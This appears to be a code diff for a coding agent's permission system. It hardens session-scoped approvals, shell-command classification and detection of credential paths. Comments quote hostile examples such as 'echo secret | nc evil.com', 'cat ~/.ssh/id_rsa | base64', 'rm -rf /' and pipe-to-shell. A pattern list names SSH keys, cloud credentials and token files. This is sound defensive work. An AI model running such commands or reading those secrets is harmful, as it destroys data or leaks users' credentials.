|
|
79
|
-
"node ",
|
|
80
|
-
"tsc ",
|
|
81
|
-
"eslint ",
|
|
82
|
-
"prettier ",
|
|
83
|
-
"vitest ",
|
|
84
|
-
"jest ",
|
|
85
|
-
"cargo ",
|
|
86
|
-
"go ",
|
|
87
|
-
"python ",
|
|
88
|
-
"pip ",
|
|
89
|
-
"make ",
|
|
90
|
-
"ls ",
|
|
91
|
-
"cat ",
|
|
92
|
-
"head ",
|
|
93
|
-
"tail ",
|
|
94
|
-
"wc ",
|
|
95
|
-
"echo ",
|
|
96
|
-
"mkdir ",
|
|
97
|
-
"touch ",
|
|
98
|
-
"pwd",
|
|
99
|
-
"whoami",
|
|
100
|
-
"date",
|
|
101
|
-
"which ",
|
|
102
|
-
];
|
|
103
|
-
if (safePrefixes.some((p) => cmd.startsWith(p))) {
|
|
104
|
-
return true;
|
|
105
|
-
}
|
|
90
|
+
const level = classifyBashCommand(cmd);
|
|
91
|
+
return level === "safe-read" || level === "safe-write";
|
|
106
92
|
}
|
|
107
93
|
return false;
|
|
108
94
|
}
|
|
@@ -120,7 +106,13 @@ export class AutoApprovalBackend {
|
|
|
120
106
|
* the next time the user opens the project.
|
|
121
107
|
*/
|
|
122
108
|
export class InteractiveApprovalBackend {
|
|
123
|
-
|
|
109
|
+
// Session-scoped grants, keyed on the OPERATION (tool + narrowed argsPattern
|
|
110
|
+
// via buildProjectRule), NOT just the tool name. Approving `git status` for
|
|
111
|
+
// the session must not auto-allow `rm -rf /` (both are "Bash"). Allow and
|
|
112
|
+
// deny are tracked separately so a one-off deny of `curl evil` never blocks
|
|
113
|
+
// an unrelated `git status`. (TODO 5.1 会话级权限缓存.)
|
|
114
|
+
sessionAllowRules = [];
|
|
115
|
+
sessionDenyRules = [];
|
|
124
116
|
promptFn = null;
|
|
125
117
|
cwd = null;
|
|
126
118
|
// Project rules saved during this session. Kept in-memory (not re-read from
|
|
@@ -130,6 +122,13 @@ export class InteractiveApprovalBackend {
|
|
|
130
122
|
// the same session. We accumulate here and hand the full list to the callback.
|
|
131
123
|
savedProjectRules = [];
|
|
132
124
|
onProjectRules = null;
|
|
125
|
+
// Serialize prompts so a burst of parallel tool calls doesn't queue N
|
|
126
|
+
// identical cards: while one ask is outstanding, later requests wait here
|
|
127
|
+
// and RE-CHECK the session rules when their turn comes — the first
|
|
128
|
+
// "本会话一直允许" answer then silently absorbs the queued duplicates.
|
|
129
|
+
// (All callers were already serialized at the UI anyway — the renderer
|
|
130
|
+
// shows one approval card at a time.)
|
|
131
|
+
promptTurn = Promise.resolve();
|
|
133
132
|
setPromptFn(fn) {
|
|
134
133
|
this.promptFn = fn;
|
|
135
134
|
}
|
|
@@ -157,25 +156,75 @@ export class InteractiveApprovalBackend {
|
|
|
157
156
|
this.onProjectRules = fn;
|
|
158
157
|
}
|
|
159
158
|
async requestApproval(req) {
|
|
160
|
-
//
|
|
161
|
-
const
|
|
162
|
-
if (
|
|
163
|
-
return
|
|
164
|
-
if (
|
|
159
|
+
// Fast path: the operation may already be covered by a session rule.
|
|
160
|
+
const cached = this.checkSessionRules(req);
|
|
161
|
+
if (cached)
|
|
162
|
+
return cached;
|
|
163
|
+
if (!this.promptFn) {
|
|
164
|
+
return { approved: false, reason: "interactive approval backend has no prompt function" };
|
|
165
|
+
}
|
|
166
|
+
// Serialize prompts and re-check rules when our turn comes (see promptTurn
|
|
167
|
+
// field doc): a burst of parallel tool calls all passes the fast path
|
|
168
|
+
// before the first decision lands; without the re-check the user had to
|
|
169
|
+
// answer one card per duplicate.
|
|
170
|
+
const prevTurn = this.promptTurn;
|
|
171
|
+
let release;
|
|
172
|
+
this.promptTurn = new Promise((r) => (release = r));
|
|
173
|
+
try {
|
|
174
|
+
await prevTurn;
|
|
175
|
+
const nowCached = this.checkSessionRules(req);
|
|
176
|
+
if (nowCached)
|
|
177
|
+
return nowCached;
|
|
178
|
+
return await this.promptAndRecord(req);
|
|
179
|
+
}
|
|
180
|
+
finally {
|
|
181
|
+
release();
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
/** Session-rule lookup — operation-scoped (see sessionAllowRules doc). Deny
|
|
185
|
+
* wins over allow if both somehow match (conservative). Null = no rule. */
|
|
186
|
+
checkSessionRules(req) {
|
|
187
|
+
if (this.sessionDenyRules.some((r) => ruleMatches(r, req.toolName, req.args))) {
|
|
165
188
|
return { approved: false };
|
|
189
|
+
}
|
|
190
|
+
if (this.sessionAllowRules.some((r) => ruleMatches(r, req.toolName, req.args))) {
|
|
191
|
+
return { approved: true };
|
|
192
|
+
}
|
|
193
|
+
return null;
|
|
194
|
+
}
|
|
195
|
+
/** The actual interactive ask + rule recording (runs inside the prompt turn). */
|
|
196
|
+
async promptAndRecord(req) {
|
|
166
197
|
if (!this.promptFn) {
|
|
167
198
|
return { approved: false, reason: "interactive approval backend has no prompt function" };
|
|
168
199
|
}
|
|
169
200
|
const result = await this.promptFn(req);
|
|
170
201
|
const scope = result.scope ?? (result.always ? "session" : "once");
|
|
202
|
+
// Path narrowing only rides on an APPROVE: a path-scoped deny is confusing
|
|
203
|
+
// (deny stays tool-wide). pathScope is ignored by buildProjectRule for
|
|
204
|
+
// non-file tools / when absent.
|
|
205
|
+
const ruleOpts = result.approved
|
|
206
|
+
? { pathScope: result.pathScope, cwd: this.cwd ?? undefined }
|
|
207
|
+
: undefined;
|
|
171
208
|
if (scope === "session" && result.always) {
|
|
172
|
-
|
|
209
|
+
// Narrow to the operation (Bash → head command, file tools → path scope)
|
|
210
|
+
// so the session grant is scoped, not tool-wide. A rule with no
|
|
211
|
+
// argsPattern keeps the prior tool-granularity behavior.
|
|
212
|
+
const rule = buildProjectRule(req.toolName, req.args, ruleOpts);
|
|
213
|
+
if (rule) {
|
|
214
|
+
const target = result.approved ? this.sessionAllowRules : this.sessionDenyRules;
|
|
215
|
+
const dup = target.some((r) => r.tool === rule.tool &&
|
|
216
|
+
JSON.stringify(r.argsPattern) === JSON.stringify(rule.argsPattern));
|
|
217
|
+
if (!dup) {
|
|
218
|
+
// buildProjectRule always returns decision:"allow"; flip for deny.
|
|
219
|
+
target.push(result.approved ? rule : { ...rule, decision: "deny" });
|
|
220
|
+
}
|
|
221
|
+
}
|
|
173
222
|
}
|
|
174
223
|
else if (scope === "project" && result.approved) {
|
|
175
224
|
// Project-scope: persist a PermissionRule to settings.local.json.
|
|
176
225
|
// We only persist allow rules — denies stay session-only because a
|
|
177
226
|
// persisted deny is harder to recover from than a session deny.
|
|
178
|
-
const rule = buildProjectRule(req.toolName, req.args);
|
|
227
|
+
const rule = buildProjectRule(req.toolName, req.args, ruleOpts);
|
|
179
228
|
if (rule && this.cwd) {
|
|
180
229
|
try {
|
|
181
230
|
persistProjectRule(this.cwd, rule);
|
|
@@ -206,20 +255,54 @@ export class InteractiveApprovalBackend {
|
|
|
206
255
|
console.error("Failed to persist project permission rule:", err.message);
|
|
207
256
|
}
|
|
208
257
|
}
|
|
209
|
-
// Also seed session
|
|
210
|
-
// even if the classifier path doesn't pick
|
|
211
|
-
|
|
258
|
+
// Also seed the session allow list (operation-scoped) so the rest of
|
|
259
|
+
// this REPL session benefits even if the classifier path doesn't pick
|
|
260
|
+
// the rule up immediately.
|
|
261
|
+
if (rule) {
|
|
262
|
+
const dup = this.sessionAllowRules.some((r) => r.tool === rule.tool &&
|
|
263
|
+
JSON.stringify(r.argsPattern) === JSON.stringify(rule.argsPattern));
|
|
264
|
+
if (!dup)
|
|
265
|
+
this.sessionAllowRules.push(rule);
|
|
266
|
+
}
|
|
212
267
|
}
|
|
213
268
|
return result;
|
|
214
269
|
}
|
|
215
270
|
}
|
|
271
|
+
/** File tools whose approvals can be narrowed to a path prefix. */
|
|
272
|
+
const PATH_SCOPED_TOOLS = new Set(["Write", "Edit"]);
|
|
273
|
+
/**
|
|
274
|
+
* Build the `file_path` argsPattern that narrows a remembered file-tool grant
|
|
275
|
+
* to a path scope. Pure: takes an ALREADY-RESOLVED absolute path (the caller
|
|
276
|
+
* normalizes against cwd so `../` can't slip past the prefix) and the scope.
|
|
277
|
+
*
|
|
278
|
+
* "file" → `^<esc(abs)>$` only this exact file
|
|
279
|
+
* "dir" → `^<esc(dir(abs))>/` this file's directory + subdirectories
|
|
280
|
+
* "tool" → null no narrowing (tool-wide; legacy behavior)
|
|
281
|
+
*
|
|
282
|
+
* The dir form keeps a trailing slash so `/repo/src/` can't match a sibling
|
|
283
|
+
* like `/repo/src-secret/x.ts`. Regex metacharacters in the path are escaped.
|
|
284
|
+
*/
|
|
285
|
+
export function pathRuleArgsPattern(absPath, scope) {
|
|
286
|
+
if (scope === "tool")
|
|
287
|
+
return null;
|
|
288
|
+
if (scope === "file")
|
|
289
|
+
return { file_path: `^${escapeRegex(absPath)}$` };
|
|
290
|
+
// dir: strip the basename, ensure a single trailing slash, anchor as prefix.
|
|
291
|
+
const slash = absPath.lastIndexOf("/");
|
|
292
|
+
const dir = slash > 0 ? absPath.slice(0, slash) : absPath;
|
|
293
|
+
return { file_path: `^${escapeRegex(dir + "/")}` };
|
|
294
|
+
}
|
|
216
295
|
/**
|
|
217
296
|
* Build a PermissionRule from a single approval. Bash narrows to the head
|
|
218
297
|
* command (first whitespace token) so "git status" → allow all `git ...`.
|
|
219
|
-
*
|
|
220
|
-
*
|
|
298
|
+
*
|
|
299
|
+
* File tools (Write/Edit) narrow to a PATH scope when `opts.pathScope` is
|
|
300
|
+
* "file"/"dir": "allow Write src/foo.ts for this session" then means exactly
|
|
301
|
+
* that file (or its directory), NOT every path. Without a pathScope (or
|
|
302
|
+
* "tool"), they keep the legacy tool-wide grant. Paths are resolved against
|
|
303
|
+
* `opts.cwd` first so `../` can't widen the prefix. Other tools stay tool-wide.
|
|
221
304
|
*/
|
|
222
|
-
function buildProjectRule(toolName, args) {
|
|
305
|
+
function buildProjectRule(toolName, args, opts) {
|
|
223
306
|
if (toolName === "Bash") {
|
|
224
307
|
const cmd = String(args.command ?? "").trim();
|
|
225
308
|
const head = cmd.split(/\s+/)[0];
|
|
@@ -232,6 +315,23 @@ function buildProjectRule(toolName, args) {
|
|
|
232
315
|
reason: `Allowed via permission prompt: ${head}`,
|
|
233
316
|
};
|
|
234
317
|
}
|
|
318
|
+
if (PATH_SCOPED_TOOLS.has(toolName) && opts?.pathScope && opts.pathScope !== "tool") {
|
|
319
|
+
const raw = String(args.file_path ?? "");
|
|
320
|
+
if (raw) {
|
|
321
|
+
// Resolve against cwd so a relative or `../`-laden path becomes the real
|
|
322
|
+
// absolute path the prefix anchors to.
|
|
323
|
+
const abs = resolvePath(opts.cwd ?? process.cwd(), raw);
|
|
324
|
+
const argsPattern = pathRuleArgsPattern(abs, opts.pathScope);
|
|
325
|
+
if (argsPattern) {
|
|
326
|
+
return {
|
|
327
|
+
tool: toolName,
|
|
328
|
+
argsPattern,
|
|
329
|
+
decision: "allow",
|
|
330
|
+
reason: `Allowed via permission prompt: ${toolName} ${opts.pathScope === "dir" ? dirname(abs) + "/" : abs}`,
|
|
331
|
+
};
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
}
|
|
235
335
|
return {
|
|
236
336
|
tool: toolName,
|
|
237
337
|
decision: "allow",
|
|
@@ -241,6 +341,66 @@ function buildProjectRule(toolName, args) {
|
|
|
241
341
|
function escapeRegex(s) {
|
|
242
342
|
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
243
343
|
}
|
|
344
|
+
/**
|
|
345
|
+
* Does `rule` match this tool call? Shared by the {@link PermissionClassifier}
|
|
346
|
+
* (project/user rules) and {@link InteractiveApprovalBackend}'s session cache
|
|
347
|
+
* so the two never diverge on what "the same operation" means. Handles the
|
|
348
|
+
* JSON round-trip where a persisted RegExp comes back as a string.
|
|
349
|
+
*/
|
|
350
|
+
export function ruleMatches(rule, toolName, args) {
|
|
351
|
+
if (rule.tool !== toolName && rule.tool !== "*")
|
|
352
|
+
return false;
|
|
353
|
+
if (!rule.argsPattern)
|
|
354
|
+
return true;
|
|
355
|
+
// A Bash allow-rule is narrowed to a HEAD command (e.g. `^git(\s|$)`), but a
|
|
356
|
+
// raw regex test would let a chained command smuggle a dangerous tail past a
|
|
357
|
+
// grant for its head: `git status && rm -rf /` starts with `git `, so the
|
|
358
|
+
// grant for `git status` would otherwise auto-allow the whole thing. A
|
|
359
|
+
// head-narrowed grant must only cover a SINGLE, non-dangerous command — if the
|
|
360
|
+
// candidate chains (`&&`/`||`/`;`), pipes (`| sh`), or uses substitution/
|
|
361
|
+
// redirection, refuse the match so it re-prompts. (We only gate narrowed Bash
|
|
362
|
+
// grants; a tool-wide `*`/no-pattern rule, or an explicit user `argsPattern`,
|
|
363
|
+
// is the user's own choice and untouched.)
|
|
364
|
+
if (toolName === "Bash" && rule.tool === "Bash" && rule.argsPattern.command) {
|
|
365
|
+
const cmd = String(args.command ?? "");
|
|
366
|
+
const scan = scanShellCommand(cmd);
|
|
367
|
+
// scanShellCommand flags `;`/`&&`/`||`/substitution/redirection (multi-segment
|
|
368
|
+
// or dangerous), but a single pipe stays IN-segment (it's per-segment data
|
|
369
|
+
// flow, not a statement boundary) — so `git log | sh` is one non-dangerous
|
|
370
|
+
// segment. A head grant must not cover a pipe either: reject any segment
|
|
371
|
+
// carrying an (unquoted-enough) pipe so pipe-to-shell can't ride the grant.
|
|
372
|
+
if (scan.dangerous || scan.segments.length > 1 || scan.segments.some((s) => s.includes("|"))) {
|
|
373
|
+
return false;
|
|
374
|
+
}
|
|
375
|
+
}
|
|
376
|
+
for (const [key, pattern] of Object.entries(rule.argsPattern)) {
|
|
377
|
+
const argVal = String(args[key] ?? "");
|
|
378
|
+
if (pattern instanceof RegExp) {
|
|
379
|
+
if (!pattern.test(argVal))
|
|
380
|
+
return false;
|
|
381
|
+
}
|
|
382
|
+
else if (typeof pattern === "string") {
|
|
383
|
+
const looksLikeRegex = /[\\^$.*+?()[\]|{}]/.test(pattern);
|
|
384
|
+
if (looksLikeRegex) {
|
|
385
|
+
let re;
|
|
386
|
+
try {
|
|
387
|
+
re = new RegExp(pattern);
|
|
388
|
+
}
|
|
389
|
+
catch {
|
|
390
|
+
if (!argVal.includes(pattern))
|
|
391
|
+
return false;
|
|
392
|
+
continue;
|
|
393
|
+
}
|
|
394
|
+
if (!re.test(argVal))
|
|
395
|
+
return false;
|
|
396
|
+
}
|
|
397
|
+
else if (!argVal.includes(pattern)) {
|
|
398
|
+
return false;
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
}
|
|
402
|
+
return true;
|
|
403
|
+
}
|
|
244
404
|
/**
|
|
245
405
|
* Append a rule to <cwd>/.code-shell/settings.local.json. Local file because
|
|
246
406
|
* permission grants are per-developer and shouldn't be checked into git.
|
|
@@ -249,16 +409,17 @@ function escapeRegex(s) {
|
|
|
249
409
|
function persistProjectRule(cwd, rule) {
|
|
250
410
|
const dir = `${cwd}/.code-shell`;
|
|
251
411
|
const file = `${dir}/settings.local.json`;
|
|
252
|
-
//
|
|
253
|
-
//
|
|
254
|
-
//
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
412
|
+
// Don't resurrect a deleted project root: a recursive mkdir of
|
|
413
|
+
// <cwd>/.code-shell recreates `cwd` itself as an empty shell when cwd is gone.
|
|
414
|
+
// Persistence here is best-effort, so skip when the root is missing.
|
|
415
|
+
if (!existsSync(cwd))
|
|
416
|
+
return;
|
|
417
|
+
if (!existsSync(dir))
|
|
418
|
+
mkdirSync(dir, { recursive: true });
|
|
258
419
|
let settings = {};
|
|
259
|
-
if (
|
|
420
|
+
if (existsSync(file)) {
|
|
260
421
|
try {
|
|
261
|
-
settings = JSON.parse(
|
|
422
|
+
settings = JSON.parse(readFileSync(file, "utf-8"));
|
|
262
423
|
}
|
|
263
424
|
catch {
|
|
264
425
|
/* start fresh on parse error */
|
|
@@ -277,9 +438,11 @@ function persistProjectRule(cwd, rule) {
|
|
|
277
438
|
settings.permissions.rules.push(rule);
|
|
278
439
|
// Atomic write: stage to .tmp, then rename, so a crash mid-write can't
|
|
279
440
|
// truncate settings.local.json and lose every saved permission grant.
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
441
|
+
// randomUUID() (not pid+Date.now()) guards against temp-name collisions when
|
|
442
|
+
// two writers fire within the same millisecond.
|
|
443
|
+
const tmp = `${file}.${randomUUID()}.tmp`;
|
|
444
|
+
writeFileSync(tmp, JSON.stringify(settings, null, 2) + "\n", "utf-8");
|
|
445
|
+
renameSync(tmp, file);
|
|
283
446
|
}
|
|
284
447
|
// Singleton interactive backend for use by the UI
|
|
285
448
|
let _interactiveBackend = null;
|
|
@@ -317,9 +480,16 @@ const DANGEROUS_PATTERNS = [
|
|
|
317
480
|
];
|
|
318
481
|
const SAFE_READ_PATTERNS = [
|
|
319
482
|
/^(cat|head|tail|less|more|wc|file|stat|du|df)\s/,
|
|
320
|
-
/^(ls|tree|
|
|
483
|
+
/^(ls|tree|locate|which|whereis|type)\s/,
|
|
484
|
+
// `find` is read-only ONLY without an action that executes or mutates:
|
|
485
|
+
// -delete, -exec/-execdir/-ok/-okdir run commands; -fprint/-fprintf/-fls
|
|
486
|
+
// write files. Reject those so `find . -delete` / `find . -exec rm {} +`
|
|
487
|
+
// are NOT classified safe-read. Plain predicates (-name, -type, -print) stay.
|
|
488
|
+
/^find\s(?!.*\s-(delete|exec(dir)?|ok(dir)?|fprintf?|fls)\b)/,
|
|
321
489
|
/^(grep|rg|ag|ack|fgrep|egrep)\s/,
|
|
322
|
-
|
|
490
|
+
// Word-boundary the git read subcommands so `git difftool -x <cmd>` (which
|
|
491
|
+
// runs an arbitrary external command) does NOT match on the `diff` branch.
|
|
492
|
+
/^(git\s+(status|log|diff|branch|show|blame|remote|tag|stash\s+list|rev-parse|describe))\b/,
|
|
323
493
|
/^(node|python|ruby|go|rustc|java|javac)\s+--version/,
|
|
324
494
|
/^(npm|pnpm|yarn|cargo|pip|gem|brew)\s+(list|ls|info|show|view|outdated|audit)/,
|
|
325
495
|
/^pwd$/,
|
|
@@ -330,6 +500,46 @@ const SAFE_READ_PATTERNS = [
|
|
|
330
500
|
/^env$/,
|
|
331
501
|
/^printenv/,
|
|
332
502
|
];
|
|
503
|
+
// ─── Sensitive safe-read downgrade ────────────────────────────────
|
|
504
|
+
//
|
|
505
|
+
// `Read ~/.ssh/id_rsa` routes through path-policy (asks); the equivalent
|
|
506
|
+
// `cat ~/.ssh/id_rsa` was YOLO-classified safe-read and auto-allowed with the
|
|
507
|
+
// desktop's default sandbox=off — a zero-approval credential exfil channel.
|
|
508
|
+
// A segment that would otherwise be safe-read is downgraded to `unsafe` (→
|
|
509
|
+
// ask) when it dumps the process env or its arguments touch a sensitive path.
|
|
510
|
+
// Conservative-and-narrow: only known credential/secret shapes trip it, so
|
|
511
|
+
// ordinary reads (README.md, src/*.ts) stay safe-read.
|
|
512
|
+
// Whole-command env dumps that leak Credential.exposeAsEnv / top-level `env`
|
|
513
|
+
// API keys. `env FOO=bar cmd` (env used as a launcher) is intentionally NOT
|
|
514
|
+
// matched — only a bare dump.
|
|
515
|
+
const ENV_DUMP_RE = /^(env|printenv)(\s+[A-Za-z_][A-Za-z0-9_]*)*\s*$/;
|
|
516
|
+
const SENSITIVE_PATH_PATTERNS = [
|
|
517
|
+
/\.ssh\//, // ~/.ssh/id_rsa, authorized_keys, known_hosts
|
|
518
|
+
/(^|\/)id_(rsa|dsa|ecdsa|ed25519)\b/,
|
|
519
|
+
/(^|\/|\s)\.env(\.[A-Za-z0-9]|\b)/, // .env, .env.local, .env.production
|
|
520
|
+
/\.aws\/credentials\b/,
|
|
521
|
+
/\.code-shell\/credentials\b/,
|
|
522
|
+
/credentials\.json\b/,
|
|
523
|
+
/\.npmrc\b/,
|
|
524
|
+
/\.netrc\b/,
|
|
525
|
+
/\.pgpass\b/,
|
|
526
|
+
/\.docker\/config\.json\b/,
|
|
527
|
+
/\.kube\/config\b/,
|
|
528
|
+
/\.config\/gh\/hosts\b/,
|
|
529
|
+
/\.gnupg\//,
|
|
530
|
+
/(^|\/)\.git-credentials\b/,
|
|
531
|
+
];
|
|
532
|
+
/**
|
|
533
|
+
* True when an otherwise-safe-read shell segment must be downgraded to `unsafe`
|
|
534
|
+
* because it dumps the environment or reads a sensitive credential/secret path.
|
|
535
|
+
* Exported for direct unit testing of the predicate.
|
|
536
|
+
*/
|
|
537
|
+
export function segmentIsSensitiveRead(segment) {
|
|
538
|
+
const s = segment.trim();
|
|
539
|
+
if (ENV_DUMP_RE.test(s))
|
|
540
|
+
return true;
|
|
541
|
+
return SENSITIVE_PATH_PATTERNS.some((re) => re.test(s));
|
|
542
|
+
}
|
|
333
543
|
const SAFE_WRITE_PATTERNS = [
|
|
334
544
|
/^(git\s+(add|commit|stash\s+(save|push)))/,
|
|
335
545
|
/^mkdir\s/,
|
|
@@ -450,25 +660,46 @@ function scanShellCommand(input) {
|
|
|
450
660
|
i++;
|
|
451
661
|
}
|
|
452
662
|
flush();
|
|
663
|
+
// An unclosed quote means we stopped recognizing separators/metacharacters
|
|
664
|
+
// partway through (pipes, `;`, redirection inside the dangling quote were
|
|
665
|
+
// swallowed). Treat malformed shell syntax as dangerous rather than risk
|
|
666
|
+
// misclassifying it as safe.
|
|
667
|
+
if (quote !== null)
|
|
668
|
+
dangerous = true;
|
|
453
669
|
return { segments, dangerous };
|
|
454
670
|
}
|
|
455
671
|
function classifySegment(segment) {
|
|
456
672
|
if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
|
|
457
673
|
return "dangerous";
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
//
|
|
463
|
-
//
|
|
464
|
-
//
|
|
465
|
-
//
|
|
674
|
+
// Pipe handling FIRST: every command in the pipe must independently
|
|
675
|
+
// classify as safe-read for the segment to count as safe-read. This has to
|
|
676
|
+
// run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
|
|
677
|
+
// those patterns are head-anchored (e.g. /^echo\s/) and would match
|
|
678
|
+
// `echo secret | nc evil.com` on its `echo ` head while ignoring the
|
|
679
|
+
// `| nc ...` exfil tail — declaring a piped-to-network command safe-read.
|
|
680
|
+
// We did not split on `|` in the scanner because pipes are not statement
|
|
681
|
+
// boundaries; they're per-segment data flow.
|
|
466
682
|
if (segment.includes("|")) {
|
|
683
|
+
// A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
|
|
684
|
+
// space was stripped along with the `|`. Test each part both as-is (for
|
|
685
|
+
// `$`-anchored patterns like /^pwd$/) and with a trailing space appended
|
|
686
|
+
// (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
|
|
467
687
|
const parts = segment.split("|").map((p) => p.trim());
|
|
468
|
-
|
|
688
|
+
const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
|
|
689
|
+
if (parts.every(partIsSafeRead)) {
|
|
690
|
+
// A sensitive read anywhere in the pipe (`cat ~/.ssh/id_rsa | base64`,
|
|
691
|
+
// `env | grep KEY`) downgrades the whole pipe.
|
|
692
|
+
if (parts.some(segmentIsSensitiveRead))
|
|
693
|
+
return "unsafe";
|
|
469
694
|
return "safe-read";
|
|
470
695
|
}
|
|
696
|
+
return "unsafe";
|
|
471
697
|
}
|
|
698
|
+
if (SAFE_READ_PATTERNS.some((p) => p.test(segment))) {
|
|
699
|
+
return segmentIsSensitiveRead(segment) ? "unsafe" : "safe-read";
|
|
700
|
+
}
|
|
701
|
+
if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
|
|
702
|
+
return "safe-write";
|
|
472
703
|
return "unsafe";
|
|
473
704
|
}
|
|
474
705
|
const SAFETY_RANK = {
|
|
@@ -703,43 +934,10 @@ export class PermissionClassifier {
|
|
|
703
934
|
return undefined;
|
|
704
935
|
}
|
|
705
936
|
matchesRule(rule, toolName, args) {
|
|
706
|
-
|
|
707
|
-
|
|
708
|
-
|
|
709
|
-
|
|
710
|
-
const argVal = String(args[key] ?? "");
|
|
711
|
-
if (pattern instanceof RegExp) {
|
|
712
|
-
if (!pattern.test(argVal))
|
|
713
|
-
return false;
|
|
714
|
-
}
|
|
715
|
-
else if (typeof pattern === "string") {
|
|
716
|
-
// Rules persisted in settings.local.json lose their RegExp type
|
|
717
|
-
// through JSON round-trip — they come back as strings. buildProjectRule
|
|
718
|
-
// produces regex sources like `^cd(\\s|$)`; treat any string with
|
|
719
|
-
// regex metacharacters as a pattern and only fall back to substring
|
|
720
|
-
// match for plain literals (kept for backward compat with hand-edited
|
|
721
|
-
// settings files that used plain substrings).
|
|
722
|
-
const looksLikeRegex = /[\\^$.*+?()[\]|{}]/.test(pattern);
|
|
723
|
-
if (looksLikeRegex) {
|
|
724
|
-
let re;
|
|
725
|
-
try {
|
|
726
|
-
re = new RegExp(pattern);
|
|
727
|
-
}
|
|
728
|
-
catch {
|
|
729
|
-
if (!argVal.includes(pattern))
|
|
730
|
-
return false;
|
|
731
|
-
continue;
|
|
732
|
-
}
|
|
733
|
-
if (!re.test(argVal))
|
|
734
|
-
return false;
|
|
735
|
-
}
|
|
736
|
-
else if (!argVal.includes(pattern)) {
|
|
737
|
-
return false;
|
|
738
|
-
}
|
|
739
|
-
}
|
|
740
|
-
}
|
|
741
|
-
}
|
|
742
|
-
return true;
|
|
937
|
+
// Delegate to the shared matcher so the classifier and the session cache
|
|
938
|
+
// agree on rule semantics (the JSON-string-vs-RegExp handling, the head-
|
|
939
|
+
// command narrowing for Bash, etc.).
|
|
940
|
+
return ruleMatches(rule, toolName, args);
|
|
743
941
|
}
|
|
744
942
|
isDangerousCommand(args) {
|
|
745
943
|
const command = String(args.command ?? "");
|
|
@@ -752,7 +950,14 @@ export class PermissionClassifier {
|
|
|
752
950
|
return "medium";
|
|
753
951
|
if (toolName === "Bash")
|
|
754
952
|
return "medium";
|
|
755
|
-
|
|
953
|
+
// Only genuinely read-only built-ins are "low" (the sole tier
|
|
954
|
+
// AutoApprovalBackend approves with no delegate). Everything else —
|
|
955
|
+
// crucially every MCP tool, which can delete records, send messages, or
|
|
956
|
+
// deploy — defaults to "medium" so auto mode delegates it (UI prompt) or
|
|
957
|
+
// fails closed, instead of blind-approving an unknown side-effecting tool.
|
|
958
|
+
if (READ_ONLY_TOOLS.has(toolName))
|
|
959
|
+
return "low";
|
|
960
|
+
return "medium";
|
|
756
961
|
}
|
|
757
962
|
/**
|
|
758
963
|
* Short, human-friendly subtitle. The UI shows this under the tool title;
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Single source of truth for which tools are permitted in plan mode.
|
|
3
|
+
*
|
|
4
|
+
* Two call sites consume this:
|
|
5
|
+
* - engine.ts: filters the tool DEFINITIONS shown to the model, so the
|
|
6
|
+
* model only sees tools it's allowed to use while planning.
|
|
7
|
+
* - executor.ts: gates tool EXECUTION, refusing anything outside the set.
|
|
8
|
+
*
|
|
9
|
+
* These two lists used to be maintained separately and drifted (engine had
|
|
10
|
+
* the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
|
|
11
|
+
* Task family), so the model could be shown a tool the executor would then
|
|
12
|
+
* block, or vice-versa. Keep them identical by importing this constant in
|
|
13
|
+
* both places.
|
|
14
|
+
*
|
|
15
|
+
* Membership policy: read-only tools, planning/agent tools, and
|
|
16
|
+
* non-destructive task-tracking tools. Bash is included so the model sees it;
|
|
17
|
+
* the executor additionally gates Bash to read-only commands at call time
|
|
18
|
+
* (executor defers to classifyBashCommand, admitting only "safe-read").
|
|
19
|
+
* Write/Edit/ApplyPatch/NotebookEdit and other mutating tools are
|
|
20
|
+
* intentionally excluded.
|
|
21
|
+
*/
|
|
22
|
+
/**
|
|
23
|
+
* The built-in tools that only READ — no file writes, no side effects, no
|
|
24
|
+
* network mutations. Single source of truth shared by:
|
|
25
|
+
* - investigation-guard.ts (which tools count as "just looking")
|
|
26
|
+
* - permission.ts HeadlessApprovalBackend (approve-read-only mode)
|
|
27
|
+
* - permission.ts assessRisk (these are genuinely low-risk; everything else,
|
|
28
|
+
* including MCP tools, is at least medium so it isn't auto-approved blind)
|
|
29
|
+
* These three lists were independent byte-for-byte copies that could drift.
|
|
30
|
+
*/
|
|
31
|
+
export declare const READ_ONLY_TOOLS: ReadonlySet<string>;
|
|
32
|
+
export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;
|